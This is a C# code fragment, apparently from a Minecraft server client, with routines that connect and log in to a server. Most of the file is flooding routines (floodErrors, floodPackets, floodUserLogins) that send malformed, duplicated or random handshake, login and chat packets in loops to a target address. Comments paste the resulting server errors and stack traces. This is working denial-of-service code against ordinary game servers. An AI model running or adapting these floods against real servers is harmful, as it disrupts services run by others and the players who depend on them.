public static void getServerInfo(string address, int port) { Packets.handshake0x00(address, port, 1); Packets.request0x00(); Packets.response0x00(); sock.Close(); }
// floods the console with small errors: /* * [13:55:18 INFO]: /127.0.0.1:65042 lost connection: Internal Exception: net.minecraft.util.io.netty.handler.codec.DecoderException: java.lang.RuntimeException: An internal error occured. * */ // I once had this one occur, unfortunately I forgot the packet combination: /* * [15:17:33] [Server thread/WARN]: Failed to handle packet for /127.0.0.1:5437 * java.lang.IllegalStateException: Unexpected hello packet * at net.minecraft.util.org.apache.commons.lang3.Validate.validState(Validate.java:826) ~[craftbukkit.jar:git-Bukkit-1.7.2-R0.3-11-g08fad7a-b3037jnks] * at net.minecraft.server.v1_7_R2.LoginListener.a(LoginListener.java:96) ~[craftbukkit.jar:git-Bukkit-1.7.2-R0.3-11-g08fad7a-b3037jnks] * at net.minecraft.server.v1_7_R2.PacketLoginInStart.a(SourceFile:33) ~[craftbukkit.jar:git-Bukkit-1.7.2-R0.3-11-g08fad7a-b3037jnks] * at net.minecraft.server.v1_7_R2.PacketLoginInStart.handle(SourceFile:10) ~[craftbukkit.jar:git-Bukkit-1.7.2-R0.3-11-g08fad7a-b3037jnks] * at net.minecraft.server.v1_7_R2.NetworkManager.a(NetworkManager.java:147) ~[craftbukkit.jar:git-Bukkit-1.7.2-R0.3-11-g08fad7a-b3037jnks] * at net.minecraft.server.v1_7_R2.ServerConnection.c(SourceFile:134) [craftbukkit.jar:git-Bukkit-1.7.2-R0.3-11-g08fad7a-b3037jnks] * at net.minecraft.server.v1_7_R2.MinecraftServer.v(MinecraftServer.java:657) [craftbukkit.jar:git-Bukkit-1.7.2-R0.3-11-g08fad7a-b3037jnks] * at net.minecraft.server.v1_7_R2.DedicatedServer.v(DedicatedServer.java:250) [craftbukkit.jar:git-Bukkit-1.7.2-R0.3-11-g08fad7a-b3037jnks] * at net.minecraft.server.v1_7_R2.MinecraftServer.u(MinecraftServer.java:548) [craftbukkit.jar:git-Bukkit-1.7.2-R0.3-11-g08fad7a-b3037jnks] * at net.minecraft.server.v1_7_R2.MinecraftServer.run(MinecraftServer.java:459) [craftbukkit.jar:git-Bukkit-1.7.2-R0.3-11-g08fad7a-b3037jnks] * at net.minecraft.server.v1_7_R2.ThreadServerApplication.run(SourceFile:618) [craftbukkit.jar:git-Bukkit-1.7.2-R0.3-11-g08fad7a-b3037jnks] * */ public static void floodErrors(string address, int port, int count) { for (int i = 0; i < count; i++) { Program.connect(address, port); Packets.handshake0x00(address, port, 2); Packets.handshake0x00(address, port, 2); Packets.loginStart0x00(randomUser(10)); } }
public static void login(string address, int port, string username, String password) { connect(address, port); Packets.handshake0x00(address, port, 2); Packets.loginStart0x00(username); if (Packets.loginResponse()) { thread = new Thread(new ThreadStart(handleUpdates)); thread.Start(); } }
// TODO test public static void floodPackets(string address, int port, int count) { Program.connect(address, port); for (int i = 0; i < count; i++) { if (Program.sock != null) { if (!Program.sock.Connected) { Program.connect(address, port); } } else { Program.connect(address, port); } int x = r.Next(10); Console.Write(x); if (x == 1) { Packets.handshake0x00(address, port, 1); } else if (x == 2) { Packets.handshake0x00(address, port, 2); } else if (x == 3) { Packets.chatMessage0x01(randomUser(30)); } else if (x == 4) { // might crash us Packets.keepalive0x00(); } else if (x == 5) { Packets.loginStart0x00(randomUser(10)); } else if (x == 6) { Packets.request0x00(); } else { Packets.handshake0x00(address, port, 1); } } }
// same ip, many users public static void floodUserLogins(string address, int port, int count) { Program.connect(address, port); Packets.handshake0x00(address, port, 2); Packets.loginStart0x00(randomUser(10)); }